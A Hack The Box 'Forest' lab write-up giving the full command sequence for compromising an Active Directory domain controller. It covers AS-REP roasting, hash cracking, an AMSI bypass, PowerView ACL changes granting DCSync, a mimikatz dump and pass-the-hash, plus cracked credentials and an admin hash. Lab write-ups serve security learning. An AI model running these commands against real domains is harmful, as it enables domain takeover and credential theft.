Hack The Box: Forest Write-up

10.129.60.98

Enumeration

=== 10.129.60.98 (53,88,135,139,389,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49668,49670,49676,49677,49683,49698,50001) ===
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-10 22:11 -0400
Nmap scan report for 10.129.60.98
Host is up (0.30s latency).

PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2026-08-11 02:18:25Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf       .NET Message Framing
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49670/tcp open  msrpc        Microsoft Windows RPC
49676/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49677/tcp open  msrpc        Microsoft Windows RPC
49683/tcp open  msrpc        Microsoft Windows RPC
49698/tcp open  msrpc        Microsoft Windows RPC
50001/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_smb2-time: ERROR: Script execution failed (use -d to debug)
|_smb2-security-mode: SMB: Couldn't find a NetBIOS name that works for the server. Sorry!

DNS

10.129.60.98  htb.local

dig any htb.local @10.129.60.98

Kerberos

impacket-GetUserSPNs -request -dc-ip 10.129.60.98 htb.local/svc_tgs # Failed

RPC

rpcclient -U '' -N 10.129.60.98

We find a list of usernames including a service account

LDAP

ldapsearch -H ldap://htb.local -D '' -w '' -b "dc=htb,dc=local"

Null auth works

ldapsearch -H ldap://htb.local -D '' -w '' -b "dc=htb,dc=local" | grep user

sebastien
santi
lucinda
andy
mark
impacket-GetNPUsers -dc-ip 10.129.60.98 htb.local/ -usersfile users.txt -request -outputfile asrep_hashes.txt # No Results
ldapsearch -H ldap://htb.local -D '' -w '' -b "dc=htb,dc=local" | grep name

I made a handy dandy script for converting these bad boys into AD-able usernames.

awk '{gsub(/\r/,"")} NF>=2 {f=tolower($1); l=tolower($NF); print f"."l; print substr(f,1,1)"."l; print substr(f,1,1) l}' users.txt > ADusernames.txt

So now I run one for the usernames and one for the service account, looking back I don’t really know why I separated them.

impacket-GetNPUsers -dc-ip 10.129.60.98 htb.local/ -usersfile ADusernames.txt -request -outputfile asrep_hashes.txt 

impacket-GetNPUsers -dc-ip 10.129.60.98 htb.local/svc-alfresco -request -outputfile asrep_hashes.txt

Exploitation

We’ve gotta crack the hash!!

sudo hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule --force

s3rvice
NetSpray all 10.129.60.98 -u 'svc-alfresco' -p 's3rvice' --continue-on-success

With this amazing news now we can pivot into the windows box using evil-winrm.

evil-winrm -i 10.129.60.98 -u 'svc-alfresco' -p 's3rvice'

Privilege Escalation

Now that I have everyone’s attention from compromising an account I’m going to be even noisier and crank all the AD information I can with bloodhound.

bloodhound-python --dns-tcp -ns 10.129.60.197 -d domain.com -u 'svc-alfresco' -p 's3rvice' -c all

sudo docker-compose -f /opt/bloodhoundce/docker-compose.yml up 

Holy bazookers look at that user list. You can’t see, but bro has generic all privileges over all these objects. xO

Here is the attack path. It looks like we have the option to perform a DCSync attack.

The DCSync Attack

Alright, so I need to learn how to use powerview.

cp /usr/share/windows-resources/powersploit/Recon/PowerView.ps1 .

upload powerview

Bypass-4MSI

. .\PowerView.ps1
Add-DomainGroupMember -Identity 'Exchange Windows Permissions' -Members 'svc-alfresco'; $SecPassword = ConvertTo-SecureString 's3rvice' -AsPlainText -Force; $Cred = New-Object System.Management.Automation.PSCredential('htb\svc-alfresco', $SecPassword); Add-DomainObjectAcl -Credential $Cred -PrincipalIdentity 'svc-alfresco' -TargetIdentity 'htb.local\Domain Admins' -Rights DCSync

.\mimikatz.exe "lsadump::dcsync /domain:htb.local /user:Administrator" exit

Scrolling a bit we can find the Admins hash alive and well so we pass it on.

32693b11e6aa90eb43d32c72a07ceea6

PtH

evil-winrm -i 10.129.60.197 -u Administrator -H '32693b11e6aa90eb43d32c72a07ceea6'

Bang!

← all writeups